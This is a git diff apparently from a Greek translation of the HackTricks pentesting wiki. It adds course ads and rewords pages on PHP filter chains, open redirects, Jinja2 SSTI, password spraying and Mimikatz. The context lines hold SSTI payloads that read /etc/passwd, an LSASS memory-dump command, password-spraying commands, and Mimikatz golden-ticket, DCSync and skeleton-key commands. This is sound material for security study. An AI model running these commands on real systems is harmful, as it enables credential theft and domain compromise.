## Αυτόματα Εργαλεία
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator)
* [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(μπορεί να προσθέσει επιθήματα)**
## Full script
## Πλήρες script
```python
import requests
@ -268,6 +275,14 @@ find_vals($init);
* [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,6 +15,13 @@
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## Open redirect
### Ανακατεύθυνση σε localhost ή αυθαίρετους τομείς
@ -183,17 +190,25 @@ exit;
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Mobile Security** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,6 +15,12 @@
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## **Εργαστήριο**
```python
from flask import Flask, request, render_template_string
@ -35,7 +41,7 @@ app.run()
### **Δήλωση Εντοπισμού Σφαλμάτων**
Εάν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα `debug` θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων.
Αν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα `debug` θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων.
```python
<pre>
@ -136,7 +142,7 @@ dict.__mro__[-1]
Η κλήση στο `__subclasses__` μας έχει δώσει την ευκαιρία να **έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις**, θα είμαστε ευχαριστημένοι απλά με την πρόσβαση στην **κλάση αρχείου** για **ανάγνωση/γραφή αρχείων** ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που **επιτρέπει την εκτέλεση εντολών** (όπως το `os`).
**Διαβάστε/Γράψτε απομακρυσμένο αρχείο**
**Read/Write remote file**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
@ -175,7 +181,7 @@ dict.__mro__[-1]
#### Κοινές παρακάμψεις
Αυτές οι παρακάμψεις θα μας επιτρέψουν να **πρόσβαση** στα **χαρακτηριστικά** των αντικειμένων **χωρίς να χρησιμοποιήσουμε κάποιους χαρακτήρες**.\
Αυτές οι παρακάμψεις θα μας επιτρέψουν να **πρόσβαση** στα **χαρακτηριστικά** των αντικειμένων **χωρίς να χρησιμοποιούμε κάποιους χαρακτήρες**.\
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα του προηγούμενου, αλλά ας τις συνοψίσουμε εδώ:
```bash
# Without quotes, _, [, ]
@ -296,7 +302,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για brute force μη έγκυρων παραμέτρων σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) είναι ένα εργαλείο που είναι ειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για να σπάσει μη έγκυρες παραμέτρους σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.
```
webui:
As the name suggests, web UI
@ -332,6 +338,13 @@ The request will be urlencoded by default according to the HTTP format, which ca
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
<details>
<summary>Υποστήριξη HackTricks</summary>

View file

@ -15,9 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## **Password Spraying**
Μόλις βρείτε αρκετά **έγκυρα ονόματα χρηστών**, μπορείτε να δοκιμάσετε τους πιο **συνηθισμένους κωδικούς πρόσβασης** (κρατήστε υπόψη την πολιτική κωδικών πρόσβασης του περιβάλλοντος) με καθέναν από τους ανακαλυφθέντες χρήστες.\
Μόλις βρείτε αρκετά **έγκυρα ονόματα χρηστών**, μπορείτε να δοκιμάσετε τους πιο **συνηθισμένους κωδικούς πρόσβασης** (έχετε υπόψη την πολιτική κωδικών πρόσβασης του περιβάλλοντος) με καθέναν από τους ανακαλυφθέντες χρήστες.\
Κατά **προεπιλογή**, το **ελάχιστο** **μήκος** **κωδικού πρόσβασης** είναι **7**.
Λίστες με κοινά ονόματα χρηστών θα μπορούσαν επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
@ -81,7 +87,7 @@ done
```
#### Από τα Windows
* Με την έκδοση [Rubeus](https://github.com/Zer1t0/Rubeus) που περιέχει το brute module:
* Με την έκδοση του [Rubeus](https://github.com/Zer1t0/Rubeus) που περιέχει το brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -115,7 +121,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
* Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
* Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό / μια μικρή λίστα κωδικών για να ψεκάσετε.
Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό πρόσβασης / μια μικρή λίστα κωδικών πρόσβασης για να ψεκάσετε.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -141,9 +147,16 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
* [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,13 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Αυτή η σελίδα βασίζεται σε μία από το [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Ελέγξτε την πρωτότυπη για περισσότερες πληροφορίες!
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
**Αυτή η σελίδα βασίζεται σε μία από το [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Δείτε την πρωτότυπη για περισσότερες πληροφορίες!
## LM και Καθαρό Κείμενο στη μνήμη
Από τα Windows 8.1 και Windows Server 2012 R2 και μετά, έχουν εφαρμοστεί σημαντικά μέτρα για την προστασία από την κλοπή διαπιστευτηρίων:
- **LM hashes και κωδικοί πρόσβασης σε καθαρό κείμενο** δεν αποθηκεύονται πλέον στη μνήμη για την ενίσχυση της ασφάλειας. Μια συγκεκριμένη ρύθμιση μητρώου, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ πρέπει να ρυθμιστεί με τιμή DWORD `0` για να απενεργοποιηθεί η Αυθεντικοποίηση Digest, διασφαλίζοντας ότι οι κωδικοί πρόσβασης σε "καθαρό κείμενο" δεν αποθηκεύονται στη μνήμη LSASS.
- **LM hashes και κωδικοί πρόσβασης σε καθαρό κείμενο** δεν αποθηκεύονται πλέον στη μνήμη για την ενίσχυση της ασφάλειας. Μια συγκεκριμένη ρύθμιση μητρώου, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ πρέπει να ρυθμιστεί με μια τιμή DWORD `0` για να απενεργοποιηθεί η Αυθεντικοποίηση Digest, διασφαλίζοντας ότι οι κωδικοί πρόσβασης σε "καθαρό κείμενο" δεν αποθηκεύονται στη μνήμη LSASS.
- **Η Προστασία LSA** εισάγεται για να προστατεύσει τη διαδικασία της Τοπικής Αρχής Ασφαλείας (LSA) από μη εξουσιοδοτημένη ανάγνωση μνήμης και έγχυση κώδικα. Αυτό επιτυγχάνεται με την επισήμανση της LSASS ως προστατευμένη διαδικασία. Η ενεργοποίηση της Προστασίας LSA περιλαμβάνει:
1. Τροποποίηση του μητρώου στο _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ ρυθμίζοντας το `RunAsPPL` σε `dword:00000001`.
@ -31,7 +38,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Αντεπίθεση Αφαίρεσης SeDebugPrivilege
Οι διαχειριστές συνήθως έχουν SeDebugPrivilege, επιτρέποντάς τους να αποσφαλματώνουν προγράμματα. Αυτό το προνόμιο μπορεί να περιοριστεί για να αποτραπούν μη εξουσιοδοτημένες εκφορτώσεις μνήμης, μια κοινή τεχνική που χρησιμοποιούν οι επιτιθέμενοι για να εξάγουν διαπιστευτήρια από τη μνήμη. Ωστόσο, ακόμη και με αυτό το προνόμιο αφαιρεμένο, ο λογαριασμός TrustedInstaller μπορεί να εκτελεί εκφορτώσεις μνήμης χρησιμοποιώντας μια προσαρμοσμένη ρύθμιση υπηρεσίας:
Οι διαχειριστές συνήθως έχουν SeDebugPrivilege, επιτρέποντάς τους να αποσφαλματώνουν προγράμματα. Αυτό το προνόμιο μπορεί να περιοριστεί για να αποτραπούν οι μη εξουσιοδοτημένες εκφορτώσεις μνήμης, μια κοινή τεχνική που χρησιμοποιούν οι επιτιθέμενοι για να εξάγουν διαπιστευτήρια από τη μνήμη. Ωστόσο, ακόμη και με αυτή την αφαίρεση προνομίου, ο λογαριασμός TrustedInstaller μπορεί να εκτελεί εκφορτώσεις μνήμης χρησιμοποιώντας μια προσαρμοσμένη ρύθμιση υπηρεσίας:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
@ -49,7 +56,7 @@ sc start TrustedInstaller
#### Clearing Event Logs
- **Command**: Αυτή η ενέργεια στοχεύει στη διαγραφή των καταγραφών συμβάντων, καθιστώντας πιο δύσκολη την παρακολούθηση κακόβουλων δραστηριοτήτων.
- Το Mimikatz δεν παρέχει άμεση εντολή στην τυπική του τεκμηρίωση για την εκκαθάριση των καταγραφών συμβάντων απευθείας μέσω της γραμμής εντολών του. Ωστόσο, η παραχάραξη των καταγραφών συμβάντων συνήθως περιλαμβάνει τη χρήση εργαλείων συστήματος ή σεναρίων εκτός του Mimikatz για την εκκαθάριση συγκεκριμένων καταγραφών (π.χ., χρησιμοποιώντας PowerShell ή Windows Event Viewer).
- Το Mimikatz δεν παρέχει μια άμεση εντολή στην τυπική του τεκμηρίωση για την εκκαθάριση των καταγραφών συμβάντων απευθείας μέσω της γραμμής εντολών του. Ωστόσο, η παραχάραξη των καταγραφών συμβάντων συνήθως περιλαμβάνει τη χρήση εργαλείων συστήματος ή σεναρίων εκτός του Mimikatz για την εκκαθάριση συγκεκριμένων καταγραφών (π.χ., χρησιμοποιώντας PowerShell ή Windows Event Viewer).
#### Experimental Feature: Patching the Event Service
@ -68,7 +75,7 @@ sc start TrustedInstaller
- Command: `kerberos::golden`
- Parameters:
- `/domain`: Το όνομα τομέα.
- `/domain`: Το όνομα του τομέα.
- `/sid`: Ο Αναγνωριστικός Αριθμός Ασφαλείας (SID) του τομέα.
- `/user`: Το όνομα χρήστη που θα μιμηθεί.
- `/krbtgt`: Ο NTLM hash του λογαριασμού υπηρεσίας KDC του τομέα.
@ -132,7 +139,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- **DCShadow**: Προσωρινά να κάνει μια μηχανή να λειτουργεί ως DC για χειρισμό αντικειμένων AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Μιμείται ένα DC για να ζητήσει δεδομένα κωδικού πρόσβασης.
- **DCSync**: Μιμείται έναν DC για να ζητήσει δεδομένα κωδικών πρόσβασης.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Credential Access
@ -140,7 +147,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- **LSADUMP::LSA**: Εξάγει διαπιστευτήρια από LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Υποδύεται ένα DC χρησιμοποιώντας τα δεδομένα κωδικού πρόσβασης ενός υπολογιστή.
- **LSADUMP::NetSync**: Υποδύεται έναν DC χρησιμοποιώντας τα δεδομένα κωδικού πρόσβασης ενός υπολογιστή.
- *Δεν παρέχεται συγκεκριμένη εντολή για NetSync στο αρχικό κείμενο.*
- **LSADUMP::SAM**: Πρόσβαση στη τοπική βάση δεδομένων SAM.
@ -157,7 +164,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
### Miscellaneous
- **MISC::Skeleton**: Εισάγει ένα backdoor στο LSASS σε ένα DC.
- **MISC::Skeleton**: Εισάγει ένα backdoor στο LSASS σε έναν DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Privilege Escalation
@ -199,6 +206,12 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- `mimikatz "vault::cred /patch" exit`
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)